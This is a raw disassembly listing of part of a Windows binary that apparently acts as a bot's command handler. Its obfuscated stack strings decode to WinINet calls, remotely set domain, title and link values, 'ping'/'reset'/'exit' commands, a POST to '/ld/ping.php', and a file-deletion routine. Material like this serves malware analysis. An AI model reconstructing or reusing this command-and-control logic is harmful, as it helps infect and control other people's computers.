mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x2098]
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x26c]
push eax
mov dword [ebp - 0xc8], 0x3c
mov dword [ebp - 0x90], 0xc7
mov dword [ebp - 0xb4], 0x63
mov dword [ebp - 0x98], 0x3e7
mov byte [ebp - 0x26c], 0x77
mov byte [ebp - 0x26b], 0x69
mov byte [ebp - 0x26a], 0x6e
mov byte [ebp - 0x269], 0x69
mov byte [ebp - 0x268], 0x6e
mov byte [ebp - 0x267], 0x65
mov byte [ebp - 0x266], 0x74
mov byte [ebp - 0x265], bl
mov byte [ebp - 0x8c], 0x49
mov byte [ebp - 0x8b], 0x6e
mov byte [ebp - 0x8a], 0x74
mov byte [ebp - 0x89], 0x65
mov byte [ebp - 0x88], 0x72
mov byte [ebp - 0x87], 0x6e
mov byte [ebp - 0x86], 0x65
mov byte [ebp - 0x85], 0x74
mov byte [ebp - 0x84], 0x43
mov byte [ebp - 0x83], 0x72
mov byte [ebp - 0x82], 0x61
mov byte [ebp - 0x81], 0x63
mov byte [ebp - 0x80], 0x6b
mov byte [ebp - 0x7f], 0x55
mov byte [ebp - 0x7e], 0x72
mov byte [ebp - 0x7d], 0x6c
mov byte [ebp - 0x7c], 0x41
mov byte [ebp - 0x7b], bl
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp + 0x10], eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0x1c]
call dword [ebp + 0x10]
mov eax, dword [ebp + 0x24]
lea edx, [ebp + 0x14]
inc eax
lea ecx, [ebp - 0x5a79c]
push eax
push dword [ebp - 0x9c]
push dword [ebp - 0xb8]
call fcn.00404319
test al, al
je 0x403390
push 0x407464
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp + 0x24], eax
je 0x403387
push eax
lea eax, [ebp - 0x5a79c]
push dword [ebp + 0x14]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp + 0x24]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
xor dl, dl
mov ecx, esi
call fcn.00405348
push ebx
push 0x80
push 2
push ebx
push ebx
lea eax, [ebp - 0x2498]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, ebx
je 0x4033f0
push 3
lea eax, [ebp - 0x1c]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 2
lea eax, [ebp - 0x1c]
push 0x61
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0x2d0], 0x54
push eax
mov byte [ebp - 0x2cf], 0x45
push dword [ebp + 0x18]
mov byte [ebp - 0x2ce], 0x58
mov byte [ebp - 0x2cd], 0x54
mov byte [ebp - 0x2cc], 0x5f
mov byte [ebp - 0x2cb], 0x42
mov byte [ebp - 0x2ca], bl
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40344e
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x60]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push 0x64
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
push esi
push dword [ebp + 0x18]
mov byte [esi], 0x54
mov byte [esi + 1], 0x69
mov byte [esi + 2], 0x74
mov byte [esi + 3], 0x4c
mov byte [esi + 4], 0x65
mov byte [esi + 5], 0x5f
mov byte [esi + 6], 0x42
mov byte [esi + 7], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0xc
test eax, eax
jne 0x4034a0
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x50]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x44
push dword [ebp + 0x18]
mov byte [esi + 1], 0x6f
mov byte [esi + 2], 0x6d
mov byte [esi + 3], 0x41
mov byte [esi + 4], 0x69
mov byte [esi + 5], 0x6e
mov byte [esi + 6], 0x5f
mov byte [esi + 7], 0x42
mov byte [esi + 8], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4034eb
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x40]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x6c
push dword [ebp + 0x18]
mov byte [esi + 1], 0x49
mov byte [esi + 2], 0x4e
mov byte [esi + 3], 0x6b
mov byte [esi + 4], 0x5f
mov byte [esi + 5], 0x42
mov byte [esi + 6], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x403531
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0xb4]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x44
push dword [ebp + 0x18]
mov byte [esi + 1], 0x6f
mov byte [esi + 2], 0x6d
mov byte [esi + 3], 0x41
mov byte [esi + 4], 0x69
mov byte [esi + 5], 0x6e
mov byte [esi + 6], 0x5f
mov byte [esi + 7], 0x43
mov byte [esi + 8], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40357f
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x84]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x74
push dword [ebp + 0x18]
mov byte [esi + 1], 0x65
mov byte [esi + 2], 0x58
mov byte [esi + 3], 0x74
mov byte [esi + 4], 0x5f
mov byte [esi + 5], 0x43
mov byte [esi + 6], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4035c5
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x94]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x6c
push dword [ebp + 0x18]
mov byte [esi + 1], 0x49
mov byte [esi + 2], 0x4e
mov byte [esi + 3], 0x6b
mov byte [esi + 4], 0x5f
mov byte [esi + 5], 0x63
mov byte [esi + 6], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40360b
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0xc4]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x44
push dword [ebp + 0x18]
mov byte [esi + 1], 0x6f
mov byte [esi + 2], 0x6d
mov byte [esi + 3], 0x61
mov byte [esi + 4], 0x69
mov byte [esi + 5], 0x6e
mov byte [esi + 6], 0x5f
mov byte [esi + 7], 0x4d
mov byte [esi + 8], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x403656
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x10]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x54
push dword [ebp + 0x18]
mov byte [esi + 1], 0x69
mov byte [esi + 2], 0x74
mov byte [esi + 3], 0x6c
mov byte [esi + 4], 0x65
mov byte [esi + 5], 0x5f
mov byte [esi + 6], 0x4d
mov byte [esi + 7], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40369d
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x20]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x74
push dword [ebp + 0x18]
mov byte [esi + 1], 0x65
mov byte [esi + 2], 0x78
mov byte [esi + 3], 0x74
mov byte [esi + 4], 0x5f
mov byte [esi + 5], 0x6d
mov byte [esi + 6], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4036e0
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0x30]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x6c
push dword [ebp + 0x18]
mov byte [esi + 1], 0x49
mov byte [esi + 2], 0x4e
mov byte [esi + 3], 0x6b
mov byte [esi + 4], 0x5f
mov byte [esi + 5], 0x6d
mov byte [esi + 6], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x403726
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0xa4]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
mov byte [esi], 0x42
push dword [ebp + 0x18]
mov byte [esi + 1], 0x61
mov byte [esi + 2], 0x73
mov byte [esi + 3], 0x65
mov byte [esi + 4], 0x44
mov byte [esi + 5], 0x6f
mov byte [esi + 6], 0x6d
mov byte [esi + 7], 0x61
mov byte [esi + 8], 0x69
mov byte [esi + 9], 0x6e
mov byte [esi + 0xa], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40377c
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
mov eax, dword [ebp - 4]
push dword [ebp + 0x1c]
lea ecx, [eax + 0xd4]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
push esi
call dword [sym.imp.MSVCRT.dll_free]
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
pop ecx
jmp 0x40392f
lea eax, [ebp - 0x208]
mov byte [ebp - 0x208], 0x65
push eax
mov byte [ebp - 0x207], 0x58
mov byte [ebp - 0x206], 0x49
mov byte [ebp - 0x205], 0x74
mov byte [ebp - 0x204], bl
call dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0xc
test eax, eax
je 0x4039a2
lea eax, [ebp - 0x208]
mov byte [ebp - 0x208], 0x70
push eax
mov byte [ebp - 0x207], 0x69
mov byte [ebp - 0x206], 0x6e
mov byte [ebp - 0x205], 0x67
mov byte [ebp - 0x204], bl
call dword [sym.imp.MSVCRT.dll__strupr]
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0xc
test eax, eax
jne 0x4038c1
lea eax, [ebp - 0x168]
mov dword [ebp + 0x1c], ebx
push eax
mov byte [ebp - 0x168], 0x2f
mov byte [ebp - 0x167], 0x6c
mov byte [ebp - 0x166], 0x44
mov byte [ebp - 0x165], 0x2f
mov byte [ebp - 0x164], 0x70
mov byte [ebp - 0x163], 0x69
mov byte [ebp - 0x162], 0x4e
mov byte [ebp - 0x161], 0x67
mov byte [ebp - 0x160], 0x2e
mov byte [ebp - 0x15f], 0x70
mov byte [ebp - 0x15e], 0x68
mov byte [ebp - 0x15d], 0x70
mov byte [ebp - 0x15c], bl
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0xc59c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea edx, [ebp - 0xc59c]
pop ecx
lea ecx, [ebp + 0x1c]
push str.POST
push ecx
lea ecx, [ebp - 0x6f90]
push ecx
lea ecx, [ebp - 0x168]
push ecx
mov ecx, dword [ebp + 0x20]
push eax
call fcn.00401951
lea eax, [ebp - 0x1978]
mov byte [ebp - 0x1978], 0x52
push eax
mov byte [ebp - 0x1977], 0x45
push dword [ebp + 0x18]
mov byte [ebp - 0x1976], 0x73
mov byte [ebp - 0x1975], 0x65
mov byte [ebp - 0x1974], 0x54
mov byte [ebp - 0x1973], bl
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x40392f
push 0x80
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x28], ebx
mov dword [eax], ebx
je 0x40392f
mov ecx, dword [ebp + 0x28]
push dword [ecx + 8]
push dword [ecx + 4]
call fcn.00404600
push dword [ebp + 0x18]
call dword [sym.imp.MSVCRT.dll_free]
lea eax, [ebp - 0xd5c]
mov dword [esp], 0x40709c
push eax
call edi
lea eax, [ebp - 0xd5c]
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strtok]
add esp, 0x10
cmp eax, ebx
jne 0x4023d1
cmp dword [ebp - 0xc], ebx
je 0x403970
push dword [ebp - 0xc]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, byte [ebp - 5]
lea esp, [ebp - 0x5a7a8]
pop edi
pop esi
pop ebx
leave
ret 0x24
cmp dword [ebp + 0xc], ebx
je 0x40398e
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor dl, dl
lea ecx, [ebp - 0x2c98]
call fcn.00405348
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push ebx
call dword [sym.imp.MSVCRT.dll_exit]